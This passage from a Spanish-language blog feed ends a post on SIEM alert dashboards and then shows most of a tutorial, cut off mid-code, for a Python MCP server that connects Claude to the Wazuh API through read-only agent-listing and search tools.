<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759705914478/e980deea-6b42-42ff-98eb-5a5463650042.png" alt class="image--center mx-auto" /></p>
<p>Voila!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759705859688/e36eefa8-2af4-4c48-8238-c4fc250329ec.png" alt class="image--center mx-auto" /></p>
<p>Ya tenemos nuestro SIEM, ejecutando las reglas y avisandonos sobre los diferentes incidentes.</p>
<h3 id="heading-dashboard">Dashboard</h3>
<p>Cree unos Dashboard’s, uno para IPs y otro para VPNs.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759706161300/4a760cac-5d62-4894-ab63-085611647935.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759706316824/b10e31cf-b433-4e4c-a724-61160ac33bc9.png" alt class="image--center mx-auto" /></p>
<p>Espero que les sirva, fue divertido generar estas alarmas. Si queres los dashboars, escribrime.  </p>
<p>Saludos.</p>
]]></content:encoded></item><item><title><![CDATA[Aumenta el Valor de tus logs a través de la IA]]></title><description><![CDATA[Hace un tiempo escribí sobre Wazuh y Active Directory, y la verdad es que recibí muchos mensajes. Seguro que escribiré más sobre eso, pero ahora me voy a centrar en algo que estuve investigando en internet. Me pregunté: ¿Y si conectamos Wazuh a una I...]]></description><link>https://blog.santiagoagustinfernandez.com/aumenta-el-valor-de-tus-logs-a-traves-de-la-ia</link><guid isPermaLink="true">https://blog.santiagoagustinfernandez.com/aumenta-el-valor-de-tus-logs-a-traves-de-la-ia</guid><category><![CDATA[wazuh]]></category><category><![CDATA[mcp]]></category><category><![CDATA[mcp server]]></category><dc:creator><![CDATA[Santiago Fernandez]]></dc:creator><pubDate>Sun, 21 Sep 2025 23:51:22 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1758498624537/d7423cc1-6ec7-45a0-8aa1-db7c99b86158.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Hace un tiempo escribí sobre <a target="_blank" href="https://wazuh.com/">Wazuh</a> y Active Directory, y la verdad es que recibí muchos mensajes. Seguro que escribiré más sobre eso, pero ahora me voy a centrar en algo que estuve investigando en internet. Me pregunté: ¿Y si conectamos Wazuh a una IA? Como siempre, mucha gente ya estaba trabajando en eso, así que vamos a hacer el paso a paso para lograrlo nosotros mismos.</p>
<p>Antes que nada, les recomiendo leer los artículos de referencia. En esta Prueba de Concepto, vamos a crear nuestro propio servidor <strong>MCP</strong> para que se vincule con la <strong>API de Wazuh</strong>, utilizando las siguientes herramientas. Luego, puedes agregar lo que consideres necesario.</p>
<h3 id="heading-herramientas-disponibles"><strong>📋 Herramientas disponibles:</strong></h3>
<ol>
<li><p><code>agents_summary</code> - Resumen rápido de todos los agentes</p>
</li>
<li><p><code>active_agents</code> - Lista solo agentes activos</p>
</li>
<li><p><code>search_agent</code> - Buscar agentes por nombre o IP</p>
</li>
<li><p><code>manager_info</code> - Información del manager Wazuh</p>
</li>
<li><p><code>agent_details</code> - Detalles específicos de un agente</p>
</li>
</ol>
<h3 id="heading-arquitectura">🛟 Arquitectura</h3>
<p>Vamos a tener un servidor SIEM con dos maquinas reportando. Un servidor Ubuntu y uno Microsoft. Luego tendremos que configurar el cliente de <strong>Claude.io</strong> para que se conecte a mi servidor MCP que sera el encargado de dialogar con Wazuh y responder en base los datos que tenemos en nuestro Index.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758496955663/8d4a73ca-7e44-42ee-a797-20d61a94aba1.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-servidor-mcp">🛜 Servidor MCP</h3>
<p>Esta version, en Python, es algo muy acotado. Recomiendo ver las referencias, al pie del articulo, para tener todo el poder de esta clase de implementaciones.</p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-string">"""
Wazuh MCP Server
Servidor MCP (Model Context Protocol) para integración con Wazuh
"""</span>

<span class="hljs-keyword">import</span> asyncio
<span class="hljs-keyword">import</span> json
<span class="hljs-keyword">import</span> logging
<span class="hljs-keyword">import</span> sys
<span class="hljs-keyword">import</span> os
<span class="hljs-keyword">import</span> argparse
<span class="hljs-keyword">import</span> signal
<span class="hljs-keyword">import</span> time
<span class="hljs-keyword">from</span> typing <span class="hljs-keyword">import</span> Any, Dict, List, Optional, Union
<span class="hljs-keyword">from</span> datetime <span class="hljs-keyword">import</span> datetime
<span class="hljs-keyword">from</span> abc <span class="hljs-keyword">import</span> ABC, abstractmethod

<span class="hljs-comment"># Verificar dependencias</span>
<span class="hljs-keyword">try</span>:
    <span class="hljs-keyword">import</span> httpx
<span class="hljs-keyword">except</span> ImportError:
    print(<span class="hljs-string">"Error: httpx no está instalado. Ejecuta: pip install httpx"</span>, file=sys.stderr)
    sys.exit(<span class="hljs-number">1</span>)

<span class="hljs-comment"># ============================================================================</span>
<span class="hljs-comment"># CONFIGURACIÓN Y UTILIDADES</span>
<span class="hljs-comment"># ============================================================================</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">setup_unbuffered_streams</span>():</span>
    <span class="hljs-string">"""Configurar streams sin buffer para mejor logging"""</span>
    sys.stdout = os.fdopen(sys.stdout.fileno(), <span class="hljs-string">'w'</span>, buffering=<span class="hljs-number">1</span>)
    sys.stderr = os.fdopen(sys.stderr.fileno(), <span class="hljs-string">'w'</span>, buffering=<span class="hljs-number">1</span>)


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">setup_logging</span>(<span class="hljs-params">debug: bool = False, log_name: str = <span class="hljs-string">"wazuh-mcp"</span></span>) -&gt; logging.Logger:</span>
    <span class="hljs-string">"""
    Configurar sistema de logging

    Args:
        debug: Habilitar modo debug
        log_name: Nombre del logger

    Returns:
        Logger configurado
    """</span>
    setup_unbuffered_streams()

    <span class="hljs-comment"># Directorio y archivo de log</span>
    log_dir = os.path.dirname(os.path.abspath(__file__))
    timestamp = datetime.now().strftime(<span class="hljs-string">"%Y%m%d_%H%M"</span>)
    log_file = os.path.join(log_dir, <span class="hljs-string">f'<span class="hljs-subst">{log_name}</span>_<span class="hljs-subst">{timestamp}</span>.log'</span>)

    <span class="hljs-comment"># Formatters</span>
    file_formatter = logging.Formatter(
        <span class="hljs-string">'%(asctime)s | %(levelname)-8s | %(name)-15s | %(message)s'</span>,
        datefmt=<span class="hljs-string">'%H:%M:%S'</span>
    )
    console_formatter = logging.Formatter(
        <span class="hljs-string">'%(asctime)s | %(levelname)s | %(message)s'</span>,
        datefmt=<span class="hljs-string">'%H:%M:%S'</span>
    )

    <span class="hljs-comment"># Handlers</span>
    file_handler = logging.FileHandler(log_file)
    file_handler.setFormatter(file_formatter)

    console_handler = logging.StreamHandler(sys.stderr)
    console_handler.setFormatter(console_formatter)

    <span class="hljs-comment"># Logger principal</span>
    logger = logging.getLogger(log_name)
    logger.setLevel(logging.DEBUG <span class="hljs-keyword">if</span> debug <span class="hljs-keyword">else</span> logging.INFO)
    logger.addHandler(file_handler)
    logger.addHandler(console_handler)

    logger.info(<span class="hljs-string">f"Logging inicializado - Archivo: <span class="hljs-subst">{log_file}</span>"</span>)
    <span class="hljs-keyword">return</span> logger


<span class="hljs-comment"># ============================================================================</span>
<span class="hljs-comment"># EXCEPCIONES PERSONALIZADAS</span>
<span class="hljs-comment"># ============================================================================</span>

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">WazuhMCPException</span>(<span class="hljs-params">Exception</span>):</span>
    <span class="hljs-string">"""Excepción base para Wazuh MCP Server"""</span>
    <span class="hljs-keyword">pass</span>


<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">AuthenticationError</span>(<span class="hljs-params">WazuhMCPException</span>):</span>
    <span class="hljs-string">"""Error de autenticación"""</span>
    <span class="hljs-keyword">pass</span>


<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">APIError</span>(<span class="hljs-params">WazuhMCPException</span>):</span>
    <span class="hljs-string">"""Error en petición API"""</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, message: str, status_code: int = None, response_text: str = None</span>):</span>
        super().__init__(message)
        self.status_code = status_code
        self.response_text = response_text


<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">ToolExecutionError</span>(<span class="hljs-params">WazuhMCPException</span>):</span>
    <span class="hljs-string">"""Error en ejecución de herramienta"""</span>
    <span class="hljs-keyword">pass</span>


<span class="hljs-comment"># ============================================================================</span>
<span class="hljs-comment"># CLIENTE WAZUH</span>
<span class="hljs-comment"># ============================================================================</span>

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">WazuhClient</span>:</span>
    <span class="hljs-string">"""Cliente asíncrono para la API de Wazuh"""</span>

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, wazuh_url: str, username: str, password: str</span>):</span>
        self.wazuh_url = wazuh_url.rstrip(<span class="hljs-string">'/'</span>)
        self.username = username
        self.password = password
        self.token: Optional[str] = <span class="hljs-literal">None</span>
        self.logger = logging.getLogger(<span class="hljs-string">"wazuh-client"</span>)

        <span class="hljs-comment"># Cliente HTTP optimizado</span>
        self.client = httpx.AsyncClient(
            verify=<span class="hljs-literal">False</span>,
            timeout=httpx.Timeout(<span class="hljs-number">15.0</span>, connect=<span class="hljs-number">5.0</span>),
            limits=httpx.Limits(max_keepalive_connections=<span class="hljs-number">5</span>, max_connections=<span class="hljs-number">10</span>)
        )

        self.logger.info(<span class="hljs-string">f"WazuhClient inicializado para <span class="hljs-subst">{self.wazuh_url}</span>"</span>)

    <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">authenticate</span>(<span class="hljs-params">self</span>) -&gt; bool:</span>
        <span class="hljs-string">"""
        Autenticar con la API de Wazuh

        Returns:
            True si la autenticación es exitosa

        Raises:
            AuthenticationError: Si la autenticación falla
        """</span>
        <span class="hljs-keyword">try</span>:
            start_time = time.time()
            auth_url = <span class="hljs-string">f"<span class="hljs-subst">{self.wazuh_url}</span>/security/user/authenticate"</span>
            self.logger.info(<span class="hljs-string">f"Autenticando en: <span class="hljs-subst">{auth_url}</span>"</span>)

            auth = httpx.BasicAuth(self.username, self.password)
            response = <span class="hljs-keyword">await</span> self.client.get(
                auth_url,
                auth=auth,
                headers={<span class="hljs-string">"Content-Type"</span>: <span class="hljs-string">"application/json"</span>}
            )

            elapsed = (time.time() - start_time) * <span class="hljs-number">1000</span>
            self.logger.info(<span class="hljs-string">f"Respuesta de auth en <span class="hljs-subst">{elapsed:<span class="hljs-number">.0</span>f}</span>ms - Status: <span class="hljs-subst">{response.status_code}</span>"</span>)

            <span class="hljs-keyword">if</span> response.status_code != <span class="hljs-number">200</span>:
                error_msg = <span class="hljs-string">f"Autenticación fallida: <span class="hljs-subst">{response.text[:<span class="hljs-number">200</span>]}</span>"</span>
                self.logger.error(error_msg)
                <span class="hljs-keyword">raise</span> AuthenticationError(error_msg)

            data = response.json()
            self.token = data[<span class="hljs-string">'data'</span>][<span class="hljs-string">'token'</span>]
            self.logger.info(<span class="hljs-string">"Autenticación exitosa"</span>)
            <span class="hljs-keyword">return</span> <span class="hljs-literal">True</span>

        <span class="hljs-keyword">except</span> httpx.RequestError <span class="hljs-keyword">as</span> e:
            error_msg = <span class="hljs-string">f"Error en petición de auth: <span class="hljs-subst">{e}</span>"</span>
            self.logger.error(error_msg)
            <span class="hljs-keyword">raise</span> AuthenticationError(error_msg)
        <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
            error_msg = <span class="hljs-string">f"Error de autenticación: <span class="hljs-subst">{e}</span>"</span>
            self.logger.error(error_msg)
            <span class="hljs-keyword">raise</span> AuthenticationError(error_msg)

    <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">make_request</span>(<span class="hljs-params">
        self, 
        endpoint: str, 
        method: str = <span class="hljs-string">"GET"</span>, 
        params: Optional[Dict] = None,
        retry_auth: bool = True
    </span>) -&gt; Dict[str, Any]:</span>
        <span class="hljs-string">"""
        Realizar petición autenticada a la API de Wazuh

        Args:
            endpoint: Endpoint de la API
            method: Método HTTP
            params: Parámetros de la petición
            retry_auth: Si reintentar con nueva auth en 401

        Returns:
            Datos de respuesta

        Raises:
            APIError: Si la petición falla
        """</span>
        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> self.token:
            self.logger.info(<span class="hljs-string">"Sin token, autenticando..."</span>)
            <span class="hljs-keyword">await</span> self.authenticate()

        headers = {<span class="hljs-string">"Authorization"</span>: <span class="hljs-string">f"Bearer <span class="hljs-subst">{self.token}</span>"</span>}
        url = <span class="hljs-string">f"<span class="hljs-subst">{self.wazuh_url}</span><span class="hljs-subst">{endpoint}</span>"</span>
        start_time = time.time()

        self.logger.debug(<span class="hljs-string">f"<span class="hljs-subst">{method}</span> <span class="hljs-subst">{endpoint}</span>"</span>)

        <span class="hljs-keyword">try</span>:
            response = <span class="hljs-keyword">await</span> self._execute_request(method, url, headers, params)
            elapsed = (time.time() - start_time) * <span class="hljs-number">1000</span>
            self.logger.info(<span class="hljs-string">f"<span class="hljs-subst">{endpoint}</span> - <span class="hljs-subst">{elapsed:<span class="hljs-number">.0</span>f}</span>ms"</span>)

            response.raise_for_status()
            <span class="hljs-keyword">return</span> response.json()

        <span class="hljs-keyword">except</span> httpx.HTTPStatusError <span class="hljs-keyword">as</span> e:
            <span class="hljs-keyword">if</span> e.response.status_code == <span class="hljs-number">401</span> <span class="hljs-keyword">and</span> retry_auth:
                self.logger.warning(<span class="hljs-string">"Token expirado, re-autenticando..."</span>)
                <span class="hljs-keyword">await</span> self.authenticate()
                headers = {<span class="hljs-string">"Authorization"</span>: <span class="hljs-string">f"Bearer <span class="hljs-subst">{self.token}</span>"</span>}
                response = <span class="hljs-keyword">await</span> self._execute_request(method, url, headers, params)
                response.raise_for_status()
                <span class="hljs-keyword">return</span> response.json()

            error_msg = <span class="hljs-string">f"HTTP Error <span class="hljs-subst">{e.response.status_code}</span>: <span class="hljs-subst">{e}</span>"</span>
            self.logger.error(error_msg)
            <span class="hljs-keyword">raise</span> APIError(error_msg, e.response.status_code, e.response.text)

        <span class="hljs-keyword">except</span> httpx.RequestError <span class="hljs-keyword">as</span> e:
            error_msg = <span class="hljs-string">f"Error de petición: <span class="hljs-subst">{e}</span>"</span>
            self.logger.error(error_msg)
            <span class="hljs-keyword">raise</span> APIError(error_msg)

    <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_execute_request</span>(<span class="hljs-params">
        self, 
        method: str, 
        url: str, 
        headers: Dict, 
        params: Optional[Dict]
    </span>) -&gt; httpx.Response:</span>
        <span class="hljs-string">"""Ejecutar petición HTTP"""</span>
        <span class="hljs-keyword">if</span> method.upper() == <span class="hljs-string">"GET"</span>:
            <span class="hljs-keyword">return</span> <span class="hljs-keyword">await</span> self.client.get(url, headers=headers, params=params)
        <span class="hljs-keyword">elif</span> method.upper() == <span class="hljs-string">"POST"</span>:
            <span class="hljs-keyword">return</span> <span class="hljs-keyword">await</span> self.client.post(url, headers=headers, json=params)
        <span class="hljs-keyword">else</span>:
            <span class="hljs-keyword">return</span> <span class="hljs-keyword">await</span> self.client.request(method, url, headers=headers, params=params)

    <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">close</span>(<span class="hljs-params">self</span>):</span>
        <span class="hljs-string">"""Cerrar el cliente HTTP"""</span>
        <span class="hljs-keyword">await</span> self.client.aclose()
        self.logger.info(<span class="hljs-string">"Cliente cerrado"</span>)

    <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__aenter__</span>(<span class="hljs-params">self</span>):</span>
        <span class="hljs-keyword">return</span> self

    <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__aexit__</span>(<span class="hljs-params">self, exc_type, exc_val, exc_tb</span>):</span>
        <span class="hljs-keyword">await</span> self.close()


<span class="hljs-comment"># ============================================================================</span>
<span class="hljs-comment"># HERRAMIENTAS BASE</span>
<span class="hljs-comment"># ============================================================================</span>

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">BaseTool</span>(<span class="hljs-params">ABC</span>):</span>
    <span class="hljs-string">"""Clase base para herramientas MCP"""</span>

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, wazuh_client: WazuhClient</span>):</span>
        self.wazuh_client = wazuh_client
        self.logger = logging.getLogger(<span class="hljs-string">f"tool-<span class="hljs-subst">{self.name}</span>"</span>)

<span class="hljs-meta">    @property</span>
<span class="hljs-meta">    @abstractmethod</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">name</span>(<span class="hljs-params">self</span>) -&gt; str:</span>
        <span class="hljs-string">"""Nombre de la herramienta"""</span>
        <span class="hljs-keyword">pass</span>

<span class="hljs-meta">    @property</span>
<span class="hljs-meta">    @abstractmethod</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">description</span>(<span class="hljs-params">self</span>) -&gt; str:</span>
        <span class="hljs-string">"""Descripción de la herramienta"""</span>
        <span class="hljs-keyword">pass</span>

<span class="hljs-meta">    @property</span>
<span class="hljs-meta">    @abstractmethod</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">input_schema</span>(<span class="hljs-params">self</span>) -&gt; Dict[str, Any]:</span>
        <span class="hljs-string">"""Schema de entrada de la herramienta"""</span>
        <span class="hljs-keyword">pass</span>

<span class="hljs-meta">    @abstractmethod</span>
    <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">execute</span>(<span class="hljs-params">self, arguments: Dict[str, Any]</span>) -&gt; str:</span>
        <span class="hljs-string">"""
        Ejecutar la herramienta

        Args:
            arguments: Argumentos de la herramienta

        Returns:
            Salida de la herramienta como string
        """</span>
        <span class="hljs-keyword">pass</span>

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">to_dict</span>(<span class="hljs-params">self</span>) -&gt; Dict[str, Any]:</span>
        <span class="hljs-string">"""Convertir herramienta a definición MCP"""</span>
        <span class="hljs-keyword">return</span> {
            <span class="hljs-string">"name"</span>: self.name,
            <span class="hljs-string">"description"</span>: self.description,
            <span class="hljs-string">"inputSchema"</span>: self.input_schema
        }


<span class="hljs-comment"># ============================================================================</span>
<span class="hljs-comment"># HERRAMIENTAS ESPECÍFICAS</span>
<span class="hljs-comment"># ============================================================================</span>

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">AgentsSummaryTool</span>(<span class="hljs-params">BaseTool</span>):</span>
    <span class="hljs-string">"""Obtener resumen rápido de todos los agentes Wazuh"""</span>

<span class="hljs-meta">    @property</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">name</span>(<span class="hljs-params">self</span>) -&gt; str:</span>
        <span class="hljs-keyword">return</span> <span class="hljs-string">"agents_summary"</span>

<span class="hljs-meta">    @property</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">description</span>(<span class="hljs-params">self</span>) -&gt; str:</span>
        <span class="hljs-keyword">return</span> <span class="hljs-string">"Obtener resumen rápido de todos los agentes Wazuh"</span>

<span class="hljs-meta">    @property</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">input_schema</span>(<span class="hljs-params">self</span>) -&gt; Dict[str, Any]:</span>
        <span class="hljs-keyword">return</span> {
            <span class="hljs-string">"type"</span>: <span class="hljs-string">"object"</span>,
            <span class="hljs-string">"properties"</span>: {},
            <span class="hljs-string">"additionalProperties"</span>: <span class="hljs-literal">False</span>
        }

    <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">execute</span>(<span class="hljs-params">self, arguments: Dict[str, Any]</span>) -&gt; str:</span>
        result = <span class="hljs-keyword">await</span> self.wazuh_client.make_request(
            <span class="hljs-string">"/agents"</span>,
            params={<span class="hljs-string">"limit"</span>: <span class="hljs-number">100</span>, <span class="hljs-string">"select"</span>: <span class="hljs-string">"id,name,status,ip,os.name"</span>}
        )

        agents = result.get(<span class="hljs-string">'data'</span>, {}).get(<span class="hljs-string">'affected_items'</span>, [])
        total = result.get(<span class="hljs-string">'data'</span>, {}).get(<span class="hljs-string">'total_affected_items'</span>, <span class="hljs-number">0</span>)

        <span class="hljs-comment"># Contar por estado</span>
        active = sum(<span class="hljs-number">1</span> <span class="hljs-keyword">for</span> a <span class="hljs-keyword">in</span> agents <span class="hljs-keyword">if</span> a.get(<span class="hljs-string">'status'</span>) == <span class="hljs-string">'active'</span>)
        disconnected = sum(<span class="hljs-number">1</span> <span class="hljs-keyword">for</span> a <span class="hljs-keyword">in</span> agents <span class="hljs-keyword">if</span> a.get(<span class="hljs-string">'status'</span>) == <span class="hljs-string">'disconnected'</span>)
        never = sum(<span class="hljs-number">1</span> <span class="hljs-keyword">for</span> a <span class="hljs-keyword">in</span> agents <span class="hljs-keyword">if</span> a.get(<span class="hljs-string">'status'</span>) == <span class="hljs-string">'never_connected'</span>)

        response = <span class="hljs-string">"🔍 **Resumen de Agentes Wazuh**\n\n"</span>
        response += <span class="hljs-string">f"**Total:** <span class="hljs-subst">{total}</span> agentes\n\n"</span>
        response += <span class="hljs-string">f"**Estado:**\n"</span>
        response += <span class="hljs-string">f"• Activos: <span class="hljs-subst">{active}</span>\n"</span>
        response += <span class="hljs-string">f"• Desconectados: <span class="hljs-subst">{disconnected}</span>\n"</span>
        response += <span class="hljs-string">f"• Nunca conectados: <span class="hljs-subst">{never}</span>\n"</span>

        <span class="hljs-keyword">if</span> active &gt; <span class="hljs-number">0</span>:
            response += <span class="hljs-string">f"\n**Muestra de Agentes Activos:**\n"</span>
            <span class="hljs-keyword">for</span> agent <span class="hljs-keyword">in</span> [a <span class="hljs-keyword">for</span> a <span class="hljs-keyword">in</span> agents <span class="hljs-keyword">if</span> a.get(<span class="hljs-string">'status'</span>) == <span class="hljs-string">'active'</span>][:<span class="hljs-number">5</span>]:
                response += <span class="hljs-string">f"• <span class="hljs-subst">{agent[<span class="hljs-string">'name'</span>]}</span> (<span class="hljs-subst">{agent[<span class="hljs-string">'id'</span>]}</span>) - <span class="hljs-subst">{agent[<span class="hljs-string">'ip'</span>]}</span>\n"</span>

        <span class="hljs-keyword">return</span> response


<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">ActiveAgentsTool</span>(<span class="hljs-params">BaseTool</span>):</span>
    <span class="hljs-string">"""Listar solo agentes activos"""</span>

<span class="hljs-meta">    @property</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">name</span>(<span class="hljs-params">self</span>) -&gt; str:</span>
        <span class="hljs-keyword">return</span> <span class="hljs-string">"active_agents"</span>

<span class="hljs-meta">    @property</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">description</span>(<span class="hljs-params">self</span>) -&gt; str:</span>
        <span class="hljs-keyword">return</span> <span class="hljs-string">"Listar solo agentes activos"</span>

<span class="hljs-meta">    @property</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">input_schema</span>(<span class="hljs-params">self</span>) -&gt; Dict[str, Any]:</span>
        <span class="hljs-keyword">return</span> {
            <span class="hljs-string">"type"</span>: <span class="hljs-string">"object"</span>,
            <span class="hljs-string">"properties"</span>: {
                <span class="hljs-string">"limit"</span>: {
                    <span class="hljs-string">"type"</span>: <span class="hljs-string">"integer"</span>,
                    <span class="hljs-string">"description"</span>: <span class="hljs-string">"Máximo número de agentes a retornar (default 10)"</span>,
                    <span class="hljs-string">"default"</span>: <span class="hljs-number">10</span>
                }
            },
            <span class="hljs-string">"additionalProperties"</span>: <span class="hljs-literal">False</span>
        }

    <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">execute</span>(<span class="hljs-params">self, arguments: Dict[str, Any]</span>) -&gt; str:</span>
        limit = arguments.get(<span class="hljs-string">'limit'</span>, <span class="hljs-number">10</span>)
        result = <span class="hljs-keyword">await</span> self.wazuh_client.make_request(
            <span class="hljs-string">"/agents"</span>,
            params={<span class="hljs-string">"status"</span>: <span class="hljs-string">"active"</span>, <span class="hljs-string">"limit"</span>: limit}
        )

        agents = result.get(<span class="hljs-string">'data'</span>, {}).get(<span class="hljs-string">'affected_items'</span>, [])

        response = <span class="hljs-string">f"🟢 **Agentes Activos** (<span class="hljs-subst">{len(agents)}</span> mostrados)\n\n"</span>
        <span class="hljs-keyword">for</span> agent <span class="hljs-keyword">in</span> agents:
            response += <span class="hljs-string">f"**<span class="hljs-subst">{agent.get(<span class="hljs-string">'name'</span>)}</span>** (ID: <span class="hljs-subst">{agent.get(<span class="hljs-string">'id'</span>)}</span>)\n"</span>
            response += <span class="hljs-string">f"• IP: <span class="hljs-subst">{agent.get(<span class="hljs-string">'ip'</span>)}</span>\n"</span>
            response += <span class="hljs-string">f"• OS: <span class="hljs-subst">{agent.get(<span class="hljs-string">'os'</span>, {}</span>).get('name', 'Desconocido')}\n"</span>
            response += <span class="hljs-string">f"• Versión: <span class="hljs-subst">{agent.get(<span class="hljs-string">'version'</span>)}</span>\n\n"</span>

        <span class="hljs-keyword">return</span> response


<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">SearchAgentTool</span>(<span class="hljs-params">BaseTool</span>):</span>
    <span class="hljs-string">"""Buscar agentes por nombre o IP"""</span>

<span class="hljs-meta">    @property</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">name</span>(<span class="hljs-params">self</span>) -&gt; str:</span>
        <span class="hljs-keyword">return</span> <span class="hljs-string">"search_agent"</span>

<span class="hljs-meta">    @property</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">description</span>(<span class="hljs-params">self</span>) -&gt; str:</span>
        <span class="hljs-keyword">return</span> <span class="hljs-string">"Buscar agentes por nombre o IP"</span>

<span class="hljs-meta">    @property</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">input_schema</span>(<span class="hljs-params">self</span>) -&gt; Dict[str, Any]:</span>
        <span class="hljs-keyword">return</span> {
            <span class="hljs-string">"type"</span>: <span class="hljs-string">"object"</span>,
            <span class="hljs-string">"properties"</span>: {
                <span class="hljs-string">"query"</span>: {
                    <span class="hljs-string">"type"</span>: <span class="hljs-string">"string"</span>,
                    <span class="hljs-string">"description"</span>: <span class="hljs-string">"Término de búsqueda"</span>
                }
            },
            <span class="hljs-string">"required"</span>: [<span class="hljs-string">"query"</span>],
            <span class="hljs-string">"additionalProperties"</span>: <span class="hljs-literal">False</span>
        }

    <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">execute</span>(<span class="hljs-params">self, arguments: Dict[str, Any]</span>) -&gt; str:</span>
        query = arguments.get(<span class="hljs-string">'query'</span>)
        result = <span class="hljs-keyword">await</span> self.wazuh_client.make_request(
            <span class="hljs-string">"/agents"</span>,
            params={<span class="hljs-string">"search"</span>: query}
        )

        agents = result.get(<span class="hljs-string">'data'</span>, {}).get(<span class="hljs-string">'affected_items'</span>, [])

        <span class="hljs-keyword">if</span> agents:
            response = <span class="hljs-string">f"🔍 **Resultados de búsqueda para '<span class="hljs-subst">{query}</span>':**\n\n"</span>
            <span class="hljs-keyword">for</span> agent <span class="hljs-keyword">in</span> agents:
                status_emoji = <span class="hljs-string">"🟢"</span> <span class="hljs-keyword">if</span> agent.get(<span class="hljs-string">'status'</span>) == <span class="hljs-string">'active'</span> <span class="hljs-keyword">else</span> <span class="hljs-string">"🔴"</span>
                response += <span class="hljs-string">f"<span class="hljs-subst">{status_emoji}</span> **<span class="hljs-subst">{agent.get(<span class="hljs-string">'name'</span>)}</span>**\n"</span>
                response += <span class="hljs-string">f"• ID: <span class="hljs-subst">{agent.get(<span class="hljs-string">'id'</span>)}</span>\n"</span>
                response += <span class="hljs-string">f"• Estado: <span class="hljs-subst">{agent.get(<span class="hljs-string">'status'</span>)}</span>\n"</span>
                response += <span class="hljs-string">f"• IP: <span class="hljs-subst">{agent.get(<span class="hljs-string">'ip'</span>)}</span>\n\n"</span>
        <span class="hljs-keyword">else</span>:
            response = <span class="hljs-string">f"❌ No se encontraron agentes que coincidan con '<span class="hljs-subst">{query}</span>'"</span>

        <span class="hljs-keyword">return</span> response


<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">ManagerInfoTool</span>(<span class="hljs-params">BaseTool</span>):</span>
    <span class="hljs-string">"""Obtener información del manager Wazuh"""</span>

<span class="hljs-meta">    @property</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">name</span>(<span class="hljs-params">self</span>) -&gt; str:</span>
        <span class="hljs-keyword">return</span> <span class="hljs-string">"manager_info"</span>

<span class="hljs-meta">    @property</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">description</span>(<span class="hljs-params">self</span>) -&gt; str:</span>
        <span class="hljs-keyword">return</span> <span class="hljs-string">"Obtener información del manager Wazuh"</span>

<span class="hljs-meta">    @property</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">input_schema</span>(<span class="hljs-params">self</span>) -&gt; Dict[str, Any]:</span>
        <span class="hljs-keyword">return</span> {
